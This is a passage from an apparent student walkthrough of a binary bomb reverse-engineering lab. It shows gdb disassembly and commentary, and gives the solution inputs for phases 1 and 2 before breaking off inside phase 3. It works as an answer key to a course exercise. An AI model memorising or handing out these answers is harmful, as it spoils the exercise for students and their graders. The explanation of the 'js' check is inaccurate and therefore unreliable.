<span class="w">   </span>0x00005555555555e4<span class="w"> </span>&lt;+29&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">   </span>0x00005555555555e9<span class="w"> </span>&lt;+34&gt;:<span class="w">    </span>jmp<span class="w">    </span>0x5555555555df<span class="w"> </span>&lt;phase_1+24&gt;
End<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>dump.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>print<span class="w"> </span>0x555555557150
<span class="nv">$1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">93824992244048</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/1s<span class="w"> </span>0x555555557150
0x555555557150:<span class="w"> </span><span class="s2">&quot;Controlling complexity is the essence of computer programming.&quot;</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>

<h2 id="phase-2">Phase 2</h2>

<div class="codehilite">
<pre><span></span><code>Phase<span class="w"> </span><span class="m">1</span><span class="w"> </span>defused.<span class="w"> </span>How<span class="w"> </span>about<span class="w"> </span>the<span class="w"> </span>next<span class="w"> </span>one?
<span class="m">1</span><span class="w"> </span><span class="m">2</span><span class="w"> </span><span class="m">3</span><span class="w"> </span><span class="m">4</span><span class="w"> </span><span class="m">5</span><span class="w"> </span><span class="m">6</span>

Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x00005555555555eb<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_2<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>phase_2:
<span class="o">=</span>&gt;<span class="w"> </span>0x00005555555555eb<span class="w"> </span>&lt;+0&gt;:<span class="w">     </span>endbr64<span class="w"> </span>
<span class="w">   </span>0x00005555555555ef<span class="w"> </span>&lt;+4&gt;:<span class="w">     </span>push<span class="w">   </span>%rbp
<span class="w">   </span>0x00005555555555f0<span class="w"> </span>&lt;+5&gt;:<span class="w">     </span>push<span class="w">   </span>%rbx
<span class="w">   </span>0x00005555555555f1<span class="w"> </span>&lt;+6&gt;:<span class="w">     </span>sub<span class="w">    </span><span class="nv">$0</span>x28,%rsp
<span class="w">   </span>0x00005555555555f5<span class="w"> </span>&lt;+10&gt;:<span class="w">    </span>mov<span class="w">    </span>%rsp,%rsi
<span class="w">   </span>0x00005555555555f8<span class="w"> </span>&lt;+13&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d97<span class="w"> </span>&lt;read_six_numbers&gt;
<span class="w">   </span>0x00005555555555fd<span class="w"> </span>&lt;+18&gt;:<span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x0,<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">   </span>0x0000555555555601<span class="w"> </span>&lt;+22&gt;:<span class="w">    </span>js<span class="w">     </span>0x55555555560d<span class="w"> </span>&lt;phase_2+34&gt;
<span class="w">   </span>0x0000555555555603<span class="w"> </span>&lt;+24&gt;:<span class="w">    </span>mov<span class="w">    </span>%rsp,%rbp
<span class="w">   </span>0x0000555555555606<span class="w"> </span>&lt;+27&gt;:<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>x1,%ebx
<span class="w">   </span>0x000055555555560b<span class="w"> </span>&lt;+32&gt;:<span class="w">    </span>jmp<span class="w">    </span>0x555555555620<span class="w"> </span>&lt;phase_2+53&gt;
<span class="w">   </span>0x000055555555560d<span class="w"> </span>&lt;+34&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">   </span>0x0000555555555612<span class="w"> </span>&lt;+39&gt;:<span class="w">    </span>jmp<span class="w">    </span>0x555555555603<span class="w"> </span>&lt;phase_2+24&gt;
<span class="w">   </span>0x0000555555555614<span class="w"> </span>&lt;+41&gt;:<span class="w">    </span>add<span class="w">    </span><span class="nv">$0</span>x1,%ebx
<span class="w">   </span>0x0000555555555617<span class="w"> </span>&lt;+44&gt;:<span class="w">    </span>add<span class="w">    </span><span class="nv">$0</span>x4,%rbp
<span class="w">   </span>0x000055555555561b<span class="w"> </span>&lt;+48&gt;:<span class="w">    </span>cmp<span class="w">    </span><span class="nv">$0</span>x6,%ebx
<span class="w">   </span>0x000055555555561e<span class="w"> </span>&lt;+51&gt;:<span class="w">    </span>je<span class="w">     </span>0x555555555631<span class="w"> </span>&lt;phase_2+70&gt;
<span class="w">   </span>0x0000555555555620<span class="w"> </span>&lt;+53&gt;:<span class="w">    </span>mov<span class="w">    </span>%ebx,%eax
<span class="w">   </span>0x0000555555555622<span class="w"> </span>&lt;+55&gt;:<span class="w">    </span>add<span class="w">    </span>0x0<span class="o">(</span>%rbp<span class="o">)</span>,%eax
<span class="w">   </span>0x0000555555555625<span class="w"> </span>&lt;+58&gt;:<span class="w">    </span>cmp<span class="w">    </span>%eax,0x4<span class="o">(</span>%rbp<span class="o">)</span>
<span class="w">   </span>0x0000555555555628<span class="w"> </span>&lt;+61&gt;:<span class="w">    </span>je<span class="w">     </span>0x555555555614<span class="w"> </span>&lt;phase_2+41&gt;
<span class="w">   </span>0x000055555555562a<span class="w"> </span>&lt;+63&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">   </span>0x000055555555562f<span class="w"> </span>&lt;+68&gt;:<span class="w">    </span>jmp<span class="w">    </span>0x555555555614<span class="w"> </span>&lt;phase_2+41&gt;
<span class="w">   </span>0x0000555555555631<span class="w"> </span>&lt;+70&gt;:<span class="w">    </span>add<span class="w">    </span><span class="nv">$0</span>x28,%rsp
<span class="w">   </span>0x0000555555555635<span class="w"> </span>&lt;+74&gt;:<span class="w">    </span>pop<span class="w">    </span>%rbx
<span class="w">   </span>0x0000555555555636<span class="w"> </span>&lt;+75&gt;:<span class="w">    </span>pop<span class="w">    </span>%rbp
<span class="w">   </span>0x0000555555555637<span class="w"> </span>&lt;+76&gt;:<span class="w">    </span>ret<span class="w">    </span>
End<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>dump.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x00005555555555fd<span class="w"> </span>&lt;+18&gt;:<span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x0,<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">   </span>0x0000555555555601<span class="w"> </span>&lt;+22&gt;:<span class="w">    </span>js<span class="w">     </span>0x55555555560d<span class="w"> </span>&lt;phase_2+34&gt;
...
<span class="w">   </span>0x000055555555560d<span class="w"> </span>&lt;+34&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
</code></pre>
</div>

<p>The program first compares if the first number is not 0. If the number is not 0, then the <code>cmpl</code> instruction returns a negative value. The <code>js</code> instruction stands for jump if sign -> causing a jump to the specified address if the sign bit is set. This would result in the explode_bomb function being called.</p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x0000555555555603<span class="w"> </span>&lt;+24&gt;:<span class="w">    </span>mov<span class="w">    </span>%rsp,%rbp
<span class="w">   </span>0x0000555555555606<span class="w"> </span>&lt;+27&gt;:<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>x1,%ebx
</code></pre>
</div>

<p><code>%rsp</code> in x86-64 asm, is the stack pointer i.e. it points to the top of the current stack frame. Since the program just read six numbers, the top of the stack (<code>%rsp</code>) contains the address of the first number.</p>

<p>By executing <code>mov %rsp,%rbp</code> we are setting the base pointer (<code>%rbp</code>) to point to this address.</p>

<p>Now, for the second instruction <code>mov $0x1,%ebx</code>, we are initialising the <code>%ebx</code> register with the value 1. Based on the assembly code, you can see that this is being used as a counter/index for the loop.</p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x000055555555560b<span class="w"> </span>&lt;+32&gt;:<span class="w">    </span>jmp<span class="w">    </span>0x555555555620<span class="w"> </span>&lt;phase_2+53&gt;
</code></pre>
</div>

<p>The program now jumps to <phase_2+53></p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x0000555555555620<span class="w"> </span>&lt;+53&gt;:<span class="w">    </span>mov<span class="w">    </span>%ebx,%eax
<span class="w">   </span>0x0000555555555622<span class="w"> </span>&lt;+55&gt;:<span class="w">    </span>add<span class="w">    </span>0x0<span class="o">(</span>%rbp<span class="o">)</span>,%eax
<span class="w">   </span>0x0000555555555625<span class="w"> </span>&lt;+58&gt;:<span class="w">    </span>cmp<span class="w">    </span>%eax,0x4<span class="o">(</span>%rbp<span class="o">)</span>
<span class="w">   </span>0x0000555555555628<span class="w"> </span>&lt;+61&gt;:<span class="w">    </span>je<span class="w">     </span>0x555555555614<span class="w"> </span>&lt;phase_2+41&gt;
</code></pre>
</div>

<p>Here, the value from <code>%ebx</code> is copied to the <code>%eax</code> register. For this iteration, the value should be 1.</p>

<p>Then, the value at the memory location pointed by <code>%rbp</code> is added to the value in <code>%eax</code>. For now, 0 is added (the first number that we read).</p>

<p><code>cmp %eax,0x4(%rbp)</code> - The instruction compares the value in %eax to the value at the memory address <code>%rbp + 4</code>. Since Integers in this context are stored using a word of memory of 4 bytes, this indicates it checks against the second number in the sequence.</p>

<p><code>je 0x555555555614 &lt;phase_2+41&gt;</code> - The program will jump to <code>phase_2+41</code> if the previous <code>cmp</code> instruction determined the values as equal. </p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x0000555555555614<span class="w"> </span>&lt;+41&gt;:<span class="w">    </span>add<span class="w">    </span><span class="nv">$0</span>x1,%ebx
<span class="w">   </span>0x0000555555555617<span class="w"> </span>&lt;+44&gt;:<span class="w">    </span>add<span class="w">    </span><span class="nv">$0</span>x4,%rbp
<span class="w">   </span>0x000055555555561b<span class="w"> </span>&lt;+48&gt;:<span class="w">    </span>cmp<span class="w">    </span><span class="nv">$0</span>x6,%ebx
<span class="w">   </span>0x000055555555561e<span class="w"> </span>&lt;+51&gt;:<span class="w">    </span>je<span class="w">     </span>0x555555555631<span class="w"> </span>&lt;phase_2+70&gt;
<span class="w">   </span>0x0000555555555620<span class="w"> </span>&lt;+53&gt;:<span class="w">    </span>mov<span class="w">    </span>%ebx,%eax
<span class="w">   </span>0x0000555555555622<span class="w"> </span>&lt;+55&gt;:<span class="w">    </span>add<span class="w">    </span>0x0<span class="o">(</span>%rbp<span class="o">)</span>,%eax
<span class="w">   </span>0x0000555555555625<span class="w"> </span>&lt;+58&gt;:<span class="w">    </span>cmp<span class="w">    </span>%eax,0x4<span class="o">(</span>%rbp<span class="o">)</span>
<span class="w">   </span>0x0000555555555628<span class="w"> </span>&lt;+61&gt;:<span class="w">    </span>je<span class="w">     </span>0x555555555614<span class="w"> </span>&lt;phase_2+41&gt;
</code></pre>
</div>

<p>Here, we can see that the program increments <code>%ebx</code> by 1, adds a 4 byte offset to <code>%rbp</code> (the number we will be matching now), and checks if <code>%ebx</code> is equal to 6. If it is, it breaks the loop and jumps to <code>&lt;phase_2+70&gt;</code> successfully finishing this stage.</p>

<p>Now, given that we know the first two numbers in the sequence are <code>0 1</code>, we can calculate the other numbers by following the pattern of adding the counter and the value of the previous number.</p>

<p>Thus,</p>

<ul>
<li>3rd number = 1 (previous value) + 2 = 3</li>
<li>4th number = 3 (prev value) + 3 = 6</li>
<li>5th number = 6 (prev value) + 4 = 10</li>
<li>6th number = 10 (prev value) + 5 = 15</li>
</ul>

<div class="codehilite">
<pre><span></span><code>...
Phase<span class="w"> </span><span class="m">1</span><span class="w"> </span>defused.<span class="w"> </span>How<span class="w"> </span>about<span class="w"> </span>the<span class="w"> </span>next<span class="w"> </span>one?
<span class="m">0</span><span class="w"> </span><span class="m">1</span><span class="w"> </span><span class="m">3</span><span class="w"> </span><span class="m">6</span><span class="w"> </span><span class="m">10</span><span class="w"> </span><span class="m">15</span>

Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x00005555555555eb<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_2<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span><span class="k">continue</span>
Continuing.
That<span class="err">&#39;</span>s<span class="w"> </span>number<span class="w"> </span><span class="m">2</span>.<span class="w">  </span>Keep<span class="w"> </span>going!
</code></pre>
</div>

<h2 id="phase-3">Phase 3</h2>

<p>Let us look at the disassembled code first</p>

<div class="codehilite">
<pre><span></span><code><span class="m">0000000000001638</span><span class="w"> </span>&lt;phase_3&gt;:
<span class="w">    </span><span class="m">1638</span>:<span class="w">   </span>f3<span class="w"> </span>0f<span class="w"> </span>1e<span class="w"> </span>fa<span class="w">             </span>endbr64<span class="w"> </span>
<span class="w">    </span>163c:<span class="w">   </span><span class="m">48</span><span class="w"> </span><span class="m">83</span><span class="w"> </span>ec<span class="w"> </span><span class="m">18</span><span class="w">             </span>sub<span class="w">    </span><span class="nv">$0</span>x18,%rsp
<span class="w">    </span><span class="m">1640</span>:<span class="w">   </span><span class="m">48</span><span class="w"> </span>8d<span class="w"> </span>4c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">07</span><span class="w">          </span>lea<span class="w">    </span>0x7<span class="o">(</span>%rsp<span class="o">)</span>,%rcx
<span class="w">    </span><span class="m">1645</span>:<span class="w">   </span><span class="m">48</span><span class="w"> </span>8d<span class="w"> </span><span class="m">54</span><span class="w"> </span><span class="m">24</span><span class="w"> </span>0c<span class="w">          </span>lea<span class="w">    </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%rdx
<span class="w">    </span>164a:<span class="w">   </span>4c<span class="w"> </span>8d<span class="w"> </span><span class="m">44</span><span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w">          </span>lea<span class="w">    </span>0x8<span class="o">(</span>%rsp<span class="o">)</span>,%r8
<span class="w">    </span>164f:<span class="w">   </span><span class="m">48</span><span class="w"> </span>8d<span class="w"> </span><span class="m">35</span><span class="w"> </span><span class="m">60</span><span class="w"> </span>1b<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">    </span>lea<span class="w">    </span>0x1b60<span class="o">(</span>%rip<span class="o">)</span>,%rsi<span class="w">        </span><span class="c1"># 31b6 &lt;_IO_stdin_used+0x1b6&gt;</span>
<span class="w">    </span><span class="m">1656</span>:<span class="w">   </span>b8<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x0,%eax
<span class="w">    </span>165b:<span class="w">   </span>e8<span class="w"> </span><span class="m">80</span><span class="w"> </span><span class="nb">fc</span><span class="w"> </span>ff<span class="w"> </span>ff<span class="w">          </span>call<span class="w">   </span>12e0<span class="w"> </span>&lt;__isoc99_sscanf@plt&gt;
<span class="w">    </span><span class="m">1660</span>:<span class="w">   </span><span class="m">83</span><span class="w"> </span>f8<span class="w"> </span><span class="m">02</span><span class="w">                </span>cmp<span class="w">    </span><span class="nv">$0</span>x2,%eax
<span class="w">    </span><span class="m">1663</span>:<span class="w">   </span>7e<span class="w"> </span><span class="m">20</span><span class="w">                   </span>jle<span class="w">    </span><span class="m">1685</span><span class="w"> </span>&lt;phase_3+0x4d&gt;
<span class="w">    </span><span class="m">1665</span>:<span class="w">   </span><span class="m">83</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span>0c<span class="w"> </span><span class="m">07</span><span class="w">          </span>cmpl<span class="w">   </span><span class="nv">$0</span>x7,0xc<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">    </span>166a:<span class="w">   </span>0f<span class="w"> </span><span class="m">87</span><span class="w"> </span>0d<span class="w"> </span><span class="m">01</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">       </span>ja<span class="w">     </span>177d<span class="w"> </span>&lt;phase_3+0x145&gt;
<span class="w">    </span><span class="m">1670</span>:<span class="w">   </span>8b<span class="w"> </span><span class="m">44</span><span class="w"> </span><span class="m">24</span><span class="w"> </span>0c<span class="w">             </span>mov<span class="w">    </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%eax
<span class="w">    </span><span class="m">1674</span>:<span class="w">   </span><span class="m">48</span><span class="w"> </span>8d<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">55</span><span class="w"> </span>1b<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">    </span>lea<span class="w">    </span>0x1b55<span class="o">(</span>%rip<span class="o">)</span>,%rdx<span class="w">        </span><span class="c1"># 31d0 &lt;_IO_stdin_used+0x1d0&gt;</span>
<span class="w">    </span>167b:<span class="w">   </span><span class="m">48</span><span class="w"> </span><span class="m">63</span><span class="w"> </span><span class="m">04</span><span class="w"> </span><span class="m">82</span><span class="w">             </span>movslq<span class="w"> </span><span class="o">(</span>%rdx,%rax,4<span class="o">)</span>,%rax
<span class="w">    </span>167f:<span class="w">   </span><span class="m">48</span><span class="w"> </span><span class="m">01</span><span class="w"> </span>d0<span class="w">                </span>add<span class="w">    </span>%rdx,%rax
<span class="w">    </span><span class="m">1682</span>:<span class="w">   </span>3e<span class="w"> </span>ff<span class="w"> </span>e0<span class="w">                </span>notrack<span class="w"> </span>jmp<span class="w"> </span>*%rax
<span class="w">    </span><span class="m">1685</span>:<span class="w">   </span>e8<span class="w"> </span>c0<span class="w"> </span><span class="m">06</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>call<span class="w">   </span>1d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">    </span>168a:<span class="w">   </span>eb<span class="w"> </span>d9<span class="w">                   </span>jmp<span class="w">    </span><span class="m">1665</span><span class="w"> </span>&lt;phase_3+0x2d&gt;
<span class="w">    </span>168c:<span class="w">   </span>b8<span class="w"> </span><span class="m">63</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x63,%eax
<span class="w">    </span><span class="m">1691</span>:<span class="w">   </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span>3d<span class="w"> </span><span class="m">02</span><span class="w"> </span><span class="m">00</span><span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x23d,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">    </span><span class="m">1698</span>:<span class="w">   </span><span class="m">00</span><span class="w"> </span>
<span class="w">    </span><span class="m">1699</span>:<span class="w">   </span>0f<span class="w"> </span><span class="m">84</span><span class="w"> </span>e8<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">       </span>je<span class="w">     </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span>169f:<span class="w">   </span>e8<span class="w"> </span>a6<span class="w"> </span><span class="m">06</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>call<span class="w">   </span>1d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">    </span>16a4:<span class="w">   </span>b8<span class="w"> </span><span class="m">63</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x63,%eax
<span class="w">    </span>16a9:<span class="w">   </span>e9<span class="w"> </span>d9<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>jmp<span class="w">    </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span>16ae:<span class="w">   </span>b8<span class="w"> </span><span class="m">61</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x61,%eax
<span class="w">    </span>16b3:<span class="w">   </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span><span class="m">27</span><span class="w"> </span><span class="m">01</span><span class="w"> </span><span class="m">00</span><span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x127,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">    </span>16ba:<span class="w">   </span><span class="m">00</span><span class="w"> </span>
<span class="w">    </span>16bb:<span class="w">   </span>0f<span class="w"> </span><span class="m">84</span><span class="w"> </span>c6<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">       </span>je<span class="w">     </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span>16c1:<span class="w">   </span>e8<span class="w"> </span><span class="m">84</span><span class="w"> </span><span class="m">06</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>call<span class="w">   </span>1d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">    </span>16c6:<span class="w">   </span>b8<span class="w"> </span><span class="m">61</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x61,%eax
<span class="w">    </span>16cb:<span class="w">   </span>e9<span class="w"> </span>b7<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>jmp<span class="w">    </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span>16d0:<span class="w">   </span>b8<span class="w"> </span><span class="m">78</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x78,%eax
<span class="w">    </span>16d5:<span class="w">   </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span>e7<span class="w"> </span><span class="m">02</span><span class="w"> </span><span class="m">00</span><span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x2e7,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">    </span>16dc:<span class="w">   </span><span class="m">00</span><span class="w"> </span>
<span class="w">    </span>16dd:<span class="w">   </span>0f<span class="w"> </span><span class="m">84</span><span class="w"> </span>a4<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">       </span>je<span class="w">     </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span>16e3:<span class="w">   </span>e8<span class="w"> </span><span class="m">62</span><span class="w"> </span><span class="m">06</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>call<span class="w">   </span>1d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">    </span>16e8:<span class="w">   </span>b8<span class="w"> </span><span class="m">78</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x78,%eax
<span class="w">    </span>16ed:<span class="w">   </span>e9<span class="w"> </span><span class="m">95</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>jmp<span class="w">    </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span>16f2:<span class="w">   </span>b8<span class="w"> </span><span class="m">64</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x64,%eax
<span class="w">    </span>16f7:<span class="w">   </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span><span class="m">80</span><span class="w"> </span><span class="m">02</span><span class="w"> </span><span class="m">00</span><span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x280,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">    </span>16fe:<span class="w">   </span><span class="m">00</span><span class="w"> </span>
<span class="w">    </span>16ff:<span class="w">   </span>0f<span class="w"> </span><span class="m">84</span><span class="w"> </span><span class="m">82</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">       </span>je<span class="w">     </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span><span class="m">1705</span>:<span class="w">   </span>e8<span class="w"> </span><span class="m">40</span><span class="w"> </span><span class="m">06</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>call<span class="w">   </span>1d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">    </span>170a:<span class="w">   </span>b8<span class="w"> </span><span class="m">64</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x64,%eax
<span class="w">    </span>170f:<span class="w">   </span>eb<span class="w"> </span><span class="m">76</span><span class="w">                   </span>jmp<span class="w">    </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span><span class="m">1711</span>:<span class="w">   </span>b8<span class="w"> </span>6d<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x6d,%eax
<span class="w">    </span><span class="m">1716</span>:<span class="w">   </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span>ff<span class="w"> </span><span class="m">02</span><span class="w"> </span><span class="m">00</span><span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x2ff,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">    </span>171d:<span class="w">   </span><span class="m">00</span><span class="w"> </span>
<span class="w">    </span>171e:<span class="w">   </span><span class="m">74</span><span class="w"> </span><span class="m">67</span><span class="w">                   </span>je<span class="w">     </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span><span class="m">1720</span>:<span class="w">   </span>e8<span class="w"> </span><span class="m">25</span><span class="w"> </span><span class="m">06</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>call<span class="w">   </span>1d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">    </span><span class="m">1725</span>:<span class="w">   </span>b8<span class="w"> </span>6d<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x6d,%eax
<span class="w">    </span>172a:<span class="w">   </span>eb<span class="w"> </span>5b<span class="w">                   </span>jmp<span class="w">    </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span>172c:<span class="w">   </span>b8<span class="w"> </span><span class="m">71</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x71,%eax
<span class="w">    </span><span class="m">1731</span>:<span class="w">   </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span><span class="m">75</span><span class="w"> </span><span class="m">03</span><span class="w"> </span><span class="m">00</span><span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x375,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">    </span><span class="m">1738</span>:<span class="w">   </span><span class="m">00</span><span class="w"> </span>
<span class="w">    </span><span class="m">1739</span>:<span class="w">   </span><span class="m">74</span><span class="w"> </span>4c<span class="w">                   </span>je<span class="w">     </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span>173b:<span class="w">   </span>e8<span class="w"> </span>0a<span class="w"> </span><span class="m">06</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>call<span class="w">   </span>1d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">    </span><span class="m">1740</span>:<span class="w">   </span>b8<span class="w"> </span><span class="m">71</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x71,%eax
<span class="w">    </span><span class="m">1745</span>:<span class="w">   </span>eb<span class="w"> </span><span class="m">40</span><span class="w">                   </span>jmp<span class="w">    </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span><span class="m">1747</span>:<span class="w">   </span>b8<span class="w"> </span><span class="m">79</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x79,%eax
